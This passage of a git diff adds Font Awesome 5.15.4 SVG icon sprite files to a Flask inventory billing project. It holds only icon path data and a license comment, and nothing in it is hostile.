0-19.852-6.934-39.7-30.133-39.7-27.7 0-29.894 19.85-29.894 39.7C241.508 297.614 248.443 317.466 271.4 317.466zM435.084 323.922h-.478c-7.893 13.392-21.765 19.132-37.548 19.132-37.31 0-55.485-32.045-55.485-66.246 0-33.243 18.415-64.095 54.767-64.095 14.589 0 28.938 6.218 36.831 18.416h.24V168.946h33.96v170.76H435.084zM405.428 238.3c-22.24 0-29.894 19.134-29.894 39.463 0 19.371 8.848 39.7 29.894 39.7 22.482 0 29.178-19.613 29.178-39.94C434.606 257.436 427.432 238.3 405.428 238.3zM592.96 339.706H560.673V322.487h-.718c-8.609 13.87-23.436 20.567-37.786 20.567-36.113 0-45.2-20.328-45.2-50.941V216.061h33.959V285.9c0 20.329 5.979 30.372 21.765 30.372 18.415 0 26.306-10.283 26.306-35.393V216.061H592.96zM602.453 302.876H640v36.83H602.453z"></path> + </symbol> + <symbol id="wolf-pack-battalion" viewBox="0 0 512 512"> + <path d="M267.73 471.53l10.56 15.84 5.28-12.32 5.28 7V512c21.06-7.92 21.11-66.86 25.51-97.21 4.62-31.89-.88-92.81 81.37-149.11-8.88-23.61-12-49.43-2.64-80.05C421 189 447 196.21 456.43 239.73l-30.35 8.36c11.15 23 17 46.76 13.2 72.14L412 313.18l-6.16 33.43-18.47-7-8.8 33.39-19.35-7 26.39 21.11 8.8-28.15L419 364.2l7-35.63 26.39 14.52c.25-20 7-58.06-8.8-84.45l26.39 5.28c4-22.07-2.38-39.21-7.92-56.74l22.43 9.68c-.44-25.07-29.94-56.79-61.58-58.5-20.22-1.09-56.74-25.17-54.1-51.9 2-19.87 17.45-42.62 43.11-49.7-44 36.51-9.68 67.3 5.28 73.46 4.4-11.44 17.54-69.08 0-130.2-40.39 22.87-89.65 65.1-93.2 147.79l-58 38.71-3.52 93.25L369.78 220l7 7-17.59 3.52-44 38.71-15.84-5.28-28.1 49.25-3.52 119.64 21.11 15.84-32.55 15.84-32.55-15.84 21.11-15.84-3.52-119.64-28.15-49.26-15.84 5.28-44-38.71-17.58-3.51 7-7 107.33 59.82-3.52-93.25-58.06-38.71C185 65.1 135.77 22.87 95.3 0c-17.54 61.12-4.4 118.76 0 130.2 15-6.16 49.26-36.95 5.28-73.46 25.66 7.08 41.15 29.83 43.11 49.7 2.63 26.74-33.88 50.81-54.1 51.9-31.65 1.72-61.15 33.44-61.59 58.51l22.43-9.68c-5.54 17.53-11.91 34.67-7.92 56.74l26.39-5.28c-15.76 26.39-9.05 64.43-8.8 84.45l26.39-14.52 7 35.63 24.63-5.28 8.8 28.15L153.35 366 134 373l-8.8-33.43-18.47 7-6.16-33.43-27.27 7c-3.82-25.38 2-49.1 13.2-72.14l-30.35-8.36c9.4-43.52 35.47-50.77 63.34-54.1 9.36 30.62 6.24 56.45-2.64 80.05 82.25 56.3 76.75 117.23 81.37 149.11 4.4 30.35 4.45 89.29 25.51 97.21v-29.83l5.28-7 5.28 12.32 10.56-15.84 11.44 21.11 11.43-21.1zm79.17-95L331.06 366c7.47-4.36 13.76-8.42 19.35-12.32-.6 7.22-.27 13.84-3.51 22.84zm28.15-49.26c-.4 10.94-.9 21.66-1.76 31.67-7.85-1.86-15.57-3.8-21.11-7 8.24-7.94 15.55-16.32 22.87-24.68zm24.63 5.28c0-13.43-2.05-24.21-5.28-33.43a235 235 0 0 1-18.47 27.27zm3.52-80.94c19.44 12.81 27.8 33.66 29.91 56.3-12.32-4.53-24.63-9.31-36.95-10.56 5.06-12 6.65-28.14 7-45.74zm-1.76-45.74c.81 14.3 1.84 28.82 1.76 42.23 19.22-8.11 29.78-9.72 44-14.08-10.61-18.96-27.2-25.53-45.76-28.16zM165.68 376.52L181.52 366c-7.47-4.36-13.76-8.42-19.35-12.32.6 7.26.27 13.88 3.51 22.88zm-28.15-49.26c.4 10.94.9 21.66 1.76 31.67 7.85-1.86 15.57-3.8 21.11-7-8.24-7.93-15.55-16.31-22.87-24.67zm-24.64 5.28c0-13.43 2-24.21 5.28-33.43a235 235 0 0 0 18.47 27.27zm-3.52-80.94c-19.44 12.81-27.8 33.66-29.91 56.3 12.32-4.53 24.63-9.31 37-10.56-5-12-6.65-28.14-7-45.74zm1.76-45.74c-.81 14.3-1.84 28.82-1.76 42.23-19.22-8.11-29.78-9.72-44-14.08 10.63-18.95 27.23-25.52 45.76-28.15z"></path> + </symbol> + <symbol id="wordpress" viewBox="0 0 512 512"> + <path d="M61.7 169.4l101.5 278C92.2 413 43.3 340.2 43.3 256c0-30.9 6.6-60.1 18.4-86.6zm337.9 75.9c0-26.3-9.4-44.5-17.5-58.7-10.8-17.5-20.9-32.4-20.9-49.9 0-19.6 14.8-37.8 35.7-37.8.9 0 1.8.1 2.8.2-37.9-34.7-88.3-55.9-143.7-55.9-74.3 0-139.7 38.1-177.8 95.9 5 .2 9.7.3 13.7.3 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l77.5 230.4L249.8 247l-33.1-90.8c-11.5-.7-22.3-2-22.3-2-11.5-.7-10.1-18.2 1.3-17.5 0 0 35.1 2.7 56 2.7 22.2 0 56.7-2.7 56.7-2.7 11.5-.7 12.8 16.2 1.4 17.5 0 0-11.5 1.3-24.3 2l76.9 228.7 21.2-70.9c9-29.4 16-50.5 16-68.7zm-139.9 29.3l-63.8 185.5c19.1 5.6 39.2 8.7 60.1 8.7 24.8 0 48.5-4.3 70.6-12.1-.6-.9-1.1-1.9-1.5-2.9l-65.4-179.2zm183-120.7c.9 6.8 1.4 14 1.4 21.9 0 21.6-4 45.8-16.2 76.2l-65 187.9C426.2 403 468.7 334.5 468.7 256c0-37-9.4-71.8-26-102.1zM504 256c0 136.8-111.3 248-248 248C119.2 504 8 392.7 8 256 8 119.2 119.2 8 256 8c136.7 0 248 111.2 248 248zm-11.4 0c0-130.5-106.2-236.6-236.6-236.6C125.5 19.4 19.4 125.5 19.4 256S125.6 492.6 256 492.6c130.5 0 236.6-106.1 236.6-236.6z"></path> + </symbol> + <symbol id="wordpress-simple" viewBox="0 0 512 512"> + <path d="M256 8C119.3 8 8 119.2 8 256c0 136.7 111.3 248 248 248s248-111.3 248-248C504 119.2 392.7 8 256 8zM33 256c0-32.3 6.9-63 19.3-90.7l106.4 291.4C84.3 420.5 33 344.2 33 256zm223 223c-21.9 0-43-3.2-63-9.1l66.9-194.4 68.5 187.8c.5 1.1 1 2.1 1.6 3.1-23.1 8.1-48 12.6-74 12.6zm30.7-327.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-21.9 0-58.7-2.8-58.7-2.8-12-.7-13.4 17.7-1.4 18.4 0 0 11.4 1.4 23.4 2.1l34.7 95.2L200.6 393l-81.2-241.5c13.4-.7 25.5-2.1 25.5-2.1 12-1.4 10.6-19.1-1.4-18.4 0 0-36.1 2.8-59.4 2.8-4.2 0-9.1-.1-14.4-.3C109.6 73 178.1 33 256 33c58 0 110.9 22.2 150.6 58.5-1-.1-1.9-.2-2.9-.2-21.9 0-37.4 19.1-37.4 39.6 0 18.4 10.6 33.9 21.9 52.3 8.5 14.8 18.4 33.9 18.4 61.5 0 19.1-7.3 41.2-17 72.1l-22.2 74.3-80.7-239.6zm81.4 297.2l68.1-196.9c12.7-31.8 17-57.2 17-79.9 0-8.2-.5-15.8-1.5-22.9 17.4 31.8 27.3 68.2 27.3 107 0 82.3-44.6 154.1-110.9 192.7z"></path> + </symbol> + <symbol id="wpbeginner" viewBox="0 0 512 512"> + <path d="M462.799 322.374C519.01 386.682 466.961 480 370.944 480c-39.602 0-78.824-17.687-100.142-50.04-6.887.356-22.702.356-29.59 0C219.848 462.381 180.588 480 141.069 480c-95.49 0-148.348-92.996-91.855-157.626C-29.925 190.523 80.479 32 256.006 32c175.632 0 285.87 158.626 206.793 290.374zm-339.647-82.972h41.529v-58.075h-41.529v58.075zm217.18 86.072v-23.839c-60.506 20.915-132.355 9.198-187.589-33.971l.246 24.897c51.101 46.367 131.746 57.875 187.343 32.913zm-150.753-86.072h166.058v-58.075H189.579v58.075z"></path> + </symbol> + <symbol id="wpexplorer" viewBox="0 0 512 512"> + <path d="M512 256c0 141.2-114.7 256-256 256C114.8 512 0 397.3 0 256S114.7 0 256 0s256 114.7 256 256zm-32 0c0-123.2-100.3-224-224-224C132.5 32 32 132.5 32 256s100.5 224 224 224 224-100.5 224-224zM160.9 124.6l86.9 37.1-37.1 86.9-86.9-37.1 37.1-86.9zm110 169.1l46.6 94h-14.6l-50-100-48.9 100h-14l51.1-106.9-22.3-9.4 6-14 68.6 29.1-6 14.3-16.5-7.1zm-11.8-116.3l68.6 29.4-29.4 68.3L230 246l29.1-68.6zm80.3 42.9l54.6 23.1-23.4 54.3-54.3-23.1 23.1-54.3z"></path> + </symbol> + <symbol id="wpforms" viewBox="0 0 448 512"> + <path d="M448 75.2v361.7c0 24.3-19 43.2-43.2 43.2H43.2C19.3 480 0 461.4 0 436.8V75.2C0 51.1 18.8 32 43.2 32h361.7c24 0 43.1 18.8 43.1 43.2zm-37.3 361.6V75.2c0-3-2.6-5.8-5.8-5.8h-9.3L285.3 144 224 94.1 162.8 144 52.5 69.3h-9.3c-3.2 0-5.8 2.8-5.8 5.8v361.7c0 3 2.6 5.8 5.8 5.8h361.7c3.2.1 5.8-2.7 5.8-5.8zM150.2 186v37H76.7v-37h73.5zm0 74.4v37.3H76.7v-37.3h73.5zm11.1-147.3l54-43.7H96.8l64.5 43.7zm210 72.9v37h-196v-37h196zm0 74.4v37.3h-196v-37.3h196zm-84.6-147.3l64.5-43.7H232.8l53.9 43.7zM371.3 335v37.3h-99.4V335h99.4z"></path> + </symbol> + <symbol id="wpressr" viewBox="0 0 496 512"> + <path d="M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm171.33 158.6c-15.18 34.51-30.37 69.02-45.63 103.5-2.44 5.51-6.89 8.24-12.97 8.24-23.02-.01-46.03.06-69.05-.05-5.12-.03-8.25 1.89-10.34 6.72-10.19 23.56-20.63 47-30.95 70.5-1.54 3.51-4.06 5.29-7.92 5.29-45.94-.01-91.87-.02-137.81 0-3.13 0-5.63-1.15-7.72-3.45-11.21-12.33-22.46-24.63-33.68-36.94-2.69-2.95-2.79-6.18-1.21-9.73 8.66-19.54 17.27-39.1 25.89-58.66 12.93-29.35 25.89-58.69 38.75-88.08 1.7-3.88 4.28-5.68 8.54-5.65 14.24.1 28.48.02 42.72.05 6.24.01 9.2 4.84 6.66 10.59-13.6 30.77-27.17 61.55-40.74 92.33-5.72 12.99-11.42 25.99-17.09 39-3.91 8.95 7.08 11.97 10.95 5.6.23-.37-1.42 4.18 30.01-67.69 1.36-3.1 3.41-4.4 6.77-4.39 15.21.08 30.43.02 45.64.04 5.56.01 7.91 3.64 5.66 8.75-8.33 18.96-16.71 37.9-24.98 56.89-4.98 11.43 8.08 12.49 11.28 5.33.04-.08 27.89-63.33 32.19-73.16 2.02-4.61 5.44-6.51 10.35-6.5 26.43.05 52.86 0 79.29.05 12.44.02 13.93-13.65 3.9-13.64-25.26.03-50.52.02-75.78.02-6.27 0-7.84-2.47-5.27-8.27 5.78-13.06 11.59-26.11 17.3-39.21 1.73-3.96 4.52-5.79 8.84-5.78 23.09.06 25.98.02 130.78.03 6.08-.01 8.03 2.79 5.62 8.27z"></path> + </symbol> + <symbol id="xbox" viewBox="0 0 512 512"> + <path d="M369.9 318.2c44.3 54.3 64.7 98.8 54.4 118.7-7.9 15.1-56.7 44.6-92.6 55.9-29.6 9.3-68.4 13.3-100.4 10.2-38.2-3.7-76.9-17.4-110.1-39C93.3 445.8 87 438.3 87 423.4c0-29.9 32.9-82.3 89.2-142.1 32-33.9 76.5-73.7 81.4-72.6 9.4 2.1 84.3 75.1 112.3 109.5zM188.6 143.8c-29.7-26.9-58.1-53.9-86.4-63.4-15.2-5.1-16.3-4.8-28.7 8.1-29.2 30.4-53.5 79.7-60.3 122.4-5.4 34.2-6.1 43.8-4.2 60.5 5.6 50.5 17.3 85.4 40.5 120.9 9.5 14.6 12.1 17.3 9.3 9.9-4.2-11-.3-37.5 9.5-64 14.3-39 53.9-112.9 120.3-194.4zm311.6 63.5C483.3 127.3 432.7 77 425.6 77c-7.3 0-24.2 6.5-36 13.9-23.3 14.5-41 31.4-64.3 52.8C367.7 197 427.5 283.1 448.2 346c6.8 20.7 9.7 41.1 7.4 52.3-1.7 8.5-1.7 8.5 1.4 4.6 6.1-7.7 19.9-31.3 25.4-43.5 7.4-16.2 15-40.2 18.6-58.7 4.3-22.5 3.9-70.8-.8-93.4zM141.3 43C189 40.5 251 77.5 255.6 78.4c.7.1 10.4-4.2 21.6-9.7 63.9-31.1 94-25.8 107.4-25.2-63.9-39.3-152.7-50-233.9-11.7-23.4 11.1-24 11.9-9.4 11.2z"></path> + </symbol> + <symbol id="xing" viewBox="0 0 384 512"> + <path d="M162.7 210c-1.8 3.3-25.2 44.4-70.1 123.5-4.9 8.3-10.8 12.5-17.7 12.5H9.8c-7.7 0-12.1-7.5-8.5-14.4l69-121.3c.2 0 .2-.1 0-.3l-43.9-75.6c-4.3-7.8.3-14.1 8.5-14.1H100c7.3 0 13.3 4.1 18 12.2l44.7 77.5zM382.6 46.1l-144 253v.3L330.2 466c3.9 7.1.2 14.1-8.5 14.1h-65.2c-7.6 0-13.6-4-18-12.2l-92.4-168.5c3.3-5.8 51.5-90.8 144.8-255.2 4.6-8.1 10.4-12.2 17.5-12.2h65.7c8 0 12.3 6.7 8.5 14.1z"></path> + </symbol> + <symbol id="xing-square" viewBox="0 0 448 512"> + <path d="M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM140.4 320.2H93.8c-5.5 0-8.7-5.3-6-10.3l49.3-86.7c.1 0 .1-.1 0-.2l-31.4-54c-3-5.6.2-10.1 6-10.1h46.6c5.2 0 9.5 2.9 12.9 8.7l31.9 55.3c-1.3 2.3-18 31.7-50.1 88.2-3.5 6.2-7.7 9.1-12.6 9.1zm219.7-214.1L257.3 286.8v.2l65.5 119c2.8 5.1.1 10.1-6 10.1h-46.6c-5.5 0-9.7-2.9-12.9-8.7l-66-120.3c2.3-4.1 36.8-64.9 103.4-182.3 3.3-5.8 7.4-8.7 12.5-8.7h46.9c5.7-.1 8.8 4.7 6 10z"></path> + </symbol> + <symbol id="y-combinator" viewBox="0 0 448 512"> + <path d="M448 32v448H0V32h448zM236 287.5L313.5 142h-32.7L235 233c-4.7 9.3-9 18.3-12.8 26.8L210 233l-45.2-91h-35l76.7 143.8v94.5H236v-92.8z"></path> + </symbol> + <symbol id="yahoo" viewBox="0 0 512 512"> + <path d="M223.69,141.06,167,284.23,111,141.06H14.93L120.76,390.19,82.19,480h94.17L317.27,141.06Zm105.4,135.79a58.22,58.22,0,1,0,58.22,58.22A58.22,58.22,0,0,0,329.09,276.85ZM394.65,32l-93,223.47H406.44L499.07,32Z"></path> + </symbol> + <symbol id="yammer" viewBox="0 0 512 512"> + <path d="M421.78 152.17A23.06 23.06 0 0 0 400.9 112c-.83.43-1.71.9-2.63 1.4-15.25 8.4-118.33 80.62-106.69 88.77s82.04-23.61 130.2-50zm0 217.17c-48.16-26.38-118.64-58.1-130.2-50s91.42 80.35 106.69 88.74c.92.51 1.8 1 2.63 1.41a23.07 23.07 0 0 0 20.88-40.15zM464.21 237c-.95 0-1.95-.06-3-.06-17.4 0-142.52 13.76-136.24 26.51s83.3 18.74 138.21 18.76a23 23 0 0 0 1-45.21zM31 96.65a24.88 24.88 0 0 1 46.14-18.4l81 205.06h1.21l77-203.53a23.52 23.52 0 0 1 44.45 15.27L171.2 368.44C152.65 415.66 134.08 448 77.91 448a139.67 139.67 0 0 1-23.81-1.95 21.31 21.31 0 0 1 6.9-41.77c.66.06 10.91.66 13.86.66 30.47 0 43.74-18.94 58.07-59.41z"></path> + </symbol> + <symbol id="yandex" viewBox="0 0 256 512"> + <path d="M153.1 315.8L65.7 512H2l96-209.8c-45.1-22.9-75.2-64.4-75.2-141.1C22.7 53.7 90.8 0 171.7 0H254v512h-55.1V315.8h-45.8zm45.8-269.3h-29.4c-44.4 0-87.4 29.4-87.4 114.6 0 82.3 39.4 108.8 87.4 108.8h29.4V46.5z"></path> + </symbol> + <symbol id="yandex-international" viewBox="0 0 320 512"> + <path d="M129.5 512V345.9L18.5 48h55.8l81.8 229.7L250.2 0h51.3L180.8 347.8V512h-51.3z"></path> + </symbol> + <symbol id="yarn" viewBox="0 0 496 512"> + <path d="M393.9 345.2c-39 9.3-48.4 32.1-104 47.4 0 0-2.7 4-10.4 5.8-13.4 3.3-63.9 6-68.5 6.1-12.4.1-19.9-3.2-22-8.2-6.4-15.3 9.2-22 9.2-22-8.1-5-9-9.9-9.8-8.1-2.4 5.8-3.6 20.1-10.1 26.5-8.8 8.9-25.5 5.9-35.3.8-10.8-5.7.8-19.2.8-19.2s-5.8 3.4-10.5-3.6c-6-9.3-17.1-37.3 11.5-62-1.3-10.1-4.6-53.7 40.6-85.6 0 0-20.6-22.8-12.9-43.3 5-13.4 7-13.3 8.6-13.9 5.7-2.2 11.3-4.6 15.4-9.1 20.6-22.2 46.8-18 46.8-18s12.4-37.8 23.9-30.4c3.5 2.3 16.3 30.6 16.3 30.6s13.6-7.9 15.1-5c8.2 16 9.2 46.5 5.6 65.1-6.1 30.6-21.4 47.1-27.6 57.5-1.4 2.4 16.5 10 27.8 41.3 10.4 28.6 1.1 52.7 2.8 55.3.8 1.4 13.7.8 36.4-13.2 12.8-7.9 28.1-16.9 45.4-17 16.7-.5 17.6 19.2 4.9 22.2zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-79.3 75.2c-1.7-13.6-13.2-23-28-22.8-22 .3-40.5 11.7-52.8 19.2-4.8 3-8.9 5.2-12.4 6.8 3.1-44.5-22.5-73.1-28.7-79.4 7.8-11.3 18.4-27.8 23.4-53.2 4.3-21.7 3-55.5-6.9-74.5-1.6-3.1-7.4-11.2-21-7.4-9.7-20-13-22.1-15.6-23.8-1.1-.7-23.6-16.4-41.4 28-12.2.9-31.3 5.3-47.5 22.8-2 2.2-5.9 3.8-10.1 5.4h.1c-8.4 3-12.3 9.9-16.9 22.3-6.5 17.4.2 34.6 6.8 45.7-17.8 15.9-37 39.8-35.7 82.5-34 36-11.8 73-5.6 79.6-1.6 11.1 3.7 19.4 12 23.8 12.6 6.7 30.3 9.6 43.9 2.8 4.9 5.2 13.8 10.1 30 10.1 6.8 0 58-2.9 72.6-6.5 6.8-1.6 11.5-4.5 14.6-7.1 9.8-3.1 36.8-12.3 62.2-28.7 18-11.7 24.2-14.2 37.6-17.4 12.9-3.2 21-15.1 19.4-28.2z"></path> + </symbol> + <symbol id="yelp" viewBox="0 0 384 512"> + <path d="M42.9 240.32l99.62 48.61c19.2 9.4 16.2 37.51-4.5 42.71L30.5 358.45a22.79 22.79 0 0 1-28.21-19.6 197.16 197.16 0 0 1 9-85.32 22.8 22.8 0 0 1 31.61-13.21zm44 239.25a199.45 199.45 0 0 0 79.42 32.11A22.78 22.78 0 0 0 192.94 490l3.9-110.82c.7-21.3-25.5-31.91-39.81-16.1l-74.21 82.4a22.82 22.82 0 0 0 4.09 34.09zm145.34-109.92l58.81 94a22.93 22.93 0 0 0 34 5.5 198.36 198.36 0 0 0 52.71-67.61A23 23 0 0 0 364.17 370l-105.42-34.26c-20.31-6.5-37.81 15.8-26.51 33.91zm148.33-132.23a197.44 197.44 0 0 0-50.41-69.31 22.85 22.85 0 0 0-34 4.4l-62 91.92c-11.9 17.7 4.7 40.61 25.2 34.71L366 268.63a23 23 0 0 0 14.61-31.21zM62.11 30.18a22.86 22.86 0 0 0-9.9 32l104.12 180.44c11.7 20.2 42.61 11.9 42.61-11.4V22.88a22.67 22.67 0 0 0-24.5-22.8 320.37 320.37 0 0 0-112.33 30.1z"></path> + </symbol> + <symbol id="yoast" viewBox="0 0 448 512"> + <path d="M91.3 76h186l-7 18.9h-179c-39.7 0-71.9 31.6-71.9 70.3v205.4c0 35.4 24.9 70.3 84 70.3V460H91.3C41.2 460 0 419.8 0 370.5V165.2C0 115.9 40.7 76 91.3 76zm229.1-56h66.5C243.1 398.1 241.2 418.9 202.2 459.3c-20.8 21.6-49.3 31.7-78.3 32.7v-51.1c49.2-7.7 64.6-49.9 64.6-75.3 0-20.1.6-12.6-82.1-223.2h61.4L218.2 299 320.4 20zM448 161.5V460H234c6.6-9.6 10.7-16.3 12.1-19.4h182.5V161.5c0-32.5-17.1-51.9-48.2-62.9l6.7-17.6c41.7 13.6 60.9 43.1 60.9 80.5z"></path> + </symbol> + <symbol id="youtube" viewBox="0 0 576 512"> + <path d="M549.655 124.083c-6.281-23.65-24.787-42.276-48.284-48.597C458.781 64 288 64 288 64S117.22 64 74.629 75.486c-23.497 6.322-42.003 24.947-48.284 48.597-11.412 42.867-11.412 132.305-11.412 132.305s0 89.438 11.412 132.305c6.281 23.65 24.787 41.5 48.284 47.821C117.22 448 288 448 288 448s170.78 0 213.371-11.486c23.497-6.321 42.003-24.171 48.284-47.821 11.412-42.867 11.412-132.305 11.412-132.305s0-89.438-11.412-132.305zm-317.51 213.508V175.185l142.739 81.205-142.739 81.201z"></path> + </symbol> + <symbol id="youtube-square" viewBox="0 0 448 512"> + <path d="M186.8 202.1l95.2 54.1-95.2 54.1V202.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-42 176.3s0-59.6-7.6-88.2c-4.2-15.8-16.5-28.2-32.2-32.4C337.9 128 224 128 224 128s-113.9 0-142.2 7.7c-15.7 4.2-28 16.6-32.2 32.4-7.6 28.5-7.6 88.2-7.6 88.2s0 59.6 7.6 88.2c4.2 15.8 16.5 27.7 32.2 31.9C110.1 384 224 384 224 384s113.9 0 142.2-7.7c15.7-4.2 28-16.1 32.2-31.9 7.6-28.5 7.6-88.1 7.6-88.1z"></path> + </symbol> + <symbol id="zhihu" viewBox="0 0 640 512"> + <path d="M170.54 148.13v217.54l23.43.01 7.71 26.37 42.01-26.37h49.53V148.13H170.54zm97.75 193.93h-27.94l-27.9 17.51-5.08-17.47-11.9-.04V171.75h72.82v170.31zm-118.46-94.39H97.5c1.74-27.1 2.2-51.59 2.2-73.46h51.16s1.97-22.56-8.58-22.31h-88.5c3.49-13.12 7.87-26.66 13.12-40.67 0 0-24.07 0-32.27 21.57-3.39 8.9-13.21 43.14-30.7 78.12 5.89-.64 25.37-1.18 36.84-22.21 2.11-5.89 2.51-6.66 5.14-14.53h28.87c0 10.5-1.2 66.88-1.68 73.44H20.83c-11.74 0-15.56 23.62-15.56 23.62h65.58C66.45 321.1 42.83 363.12 0 396.34c20.49 5.85 40.91-.93 51-9.9 0 0 22.98-20.9 35.59-69.25l53.96 64.94s7.91-26.89-1.24-39.99c-7.58-8.92-28.06-33.06-36.79-41.81L87.9 311.95c4.36-13.98 6.99-27.55 7.87-40.67h61.65s-.09-23.62-7.59-23.62v.01zm412.02-1.6c20.83-25.64 44.98-58.57 44.98-58.57s-18.65-14.8-27.38-4.06c-6 8.15-36.83 48.2-36.83 48.2l19.23 14.43zm-150.09-59.09c-9.01-8.25-25.91 2.13-25.91 2.13s39.52 55.04 41.12 57.45l19.46-13.73s-25.67-37.61-34.66-45.86h-.01zM640 258.35c-19.78 0-130.91.93-131.06.93v-101c4.81 0 12.42-.4 22.85-1.2 40.88-2.41 70.13-4 87.77-4.81 0 0 12.22-27.19-.59-33.44-3.07-1.18-23.17 4.58-23.17 4.58s-165.22 16.49-232.36 18.05c1.6 8.82 7.62 17.08 15.78 19.55 13.31 3.48 22.69 1.7 49.15.89 24.83-1.6 43.68-2.43 56.51-2.43v99.81H351.41s2.82 22.31 25.51 22.85h107.94v70.92c0 13.97-11.19 21.99-24.48 21.12-14.08.11-26.08-1.15-41.69-1.81 1.99 3.97 6.33 14.39 19.31 21.84 9.88 4.81 16.17 6.57 26.02 6.57 29.56 0 45.67-17.28 44.89-45.31v-73.32h122.36c9.68 0 8.7-23.78 8.7-23.78l.03-.01z"></path> + </symbol> +</svg> diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/sprites/regular.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/sprites/regular.svg new file mode 100644 index 00000000..31ebef71 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/sprites/regular.svg @@ -0,0 +1,463 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!-- +Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com +License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) +--> +<svg xmlns="http://www.w3.org/2000/svg" style="display: none;"> + <symbol id="address-book" viewBox="0 0 448 512"> + <path d="M436 160c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20V48c0-26.5-21.5-48-48-48H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h320c26.5 0 48-21.5 48-48v-48h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-20v-64h20zm-68 304H48V48h320v416zM208 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2z"></path> + </symbol> + <symbol id="address-card" viewBox="0 0 576 512"> + <path d="M528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm0 400H48V80h480v352zM208 256c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 19.2zM360 320h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8zm0-64h112c4.4 0 8-3.6 8-8v-16c0-4.4-3.6-8-8-8H360c-4.4 0-8 3.6-8 8v16c0 4.4 3.6 8 8 8z"></path> + </symbol> + <symbol id="angry" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm0-144c-33.6 0-65.2 14.8-86.8 40.6-8.5 10.2-7.1 25.3 3.1 33.8s25.3 7.2 33.8-3c24.8-29.7 75-29.7 99.8 0 8.1 9.7 23.2 11.9 33.8 3 10.2-8.5 11.5-23.6 3.1-33.8-21.6-25.8-53.2-40.6-86.8-40.6zm-48-72c10.3 0 19.9-6.7 23-17.1 3.8-12.7-3.4-26.1-16.1-29.9l-80-24c-12.8-3.9-26.1 3.4-29.9 16.1-3.8 12.7 3.4 26.1 16.1 29.9l28.2 8.5c-3.1 4.9-5.3 10.4-5.3 16.6 0 17.7 14.3 32 32 32s32-14.4 32-32.1zm199-54.9c-3.8-12.7-17.1-19.9-29.9-16.1l-80 24c-12.7 3.8-19.9 17.2-16.1 29.9 3.1 10.4 12.7 17.1 23 17.1 0 17.7 14.3 32 32 32s32-14.3 32-32c0-6.2-2.2-11.7-5.3-16.6l28.2-8.5c12.7-3.7 19.9-17.1 16.1-29.8z"></path> + </symbol> + <symbol id="arrow-alt-circle-down" viewBox="0 0 512 512"> + <path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm-32-316v116h-67c-10.7 0-16 12.9-8.5 20.5l99 99c4.7 4.7 12.3 4.7 17 0l99-99c7.6-7.6 2.2-20.5-8.5-20.5h-67V140c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12z"></path> + </symbol> + <symbol id="arrow-alt-circle-left" viewBox="0 0 512 512"> + <path d="M8 256c0 137 111 248 248 248s248-111 248-248S393 8 256 8 8 119 8 256zm448 0c0 110.5-89.5 200-200 200S56 366.5 56 256 145.5 56 256 56s200 89.5 200 200zm-72-20v40c0 6.6-5.4 12-12 12H256v67c0 10.7-12.9 16-20.5 8.5l-99-99c-4.7-4.7-4.7-12.3 0-17l99-99c7.6-7.6 20.5-2.2 20.5 8.5v67h116c6.6 0 12 5.4 12 12z"></path> + </symbol> + <symbol id="arrow-alt-circle-right" viewBox="0 0 512 512"> + <path d="M504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256zm72 20v-40c0-6.6 5.4-12 12-12h116v-67c0-10.7 12.9-16 20.5-8.5l99 99c4.7 4.7 4.7 12.3 0 17l-99 99c-7.6 7.6-20.5 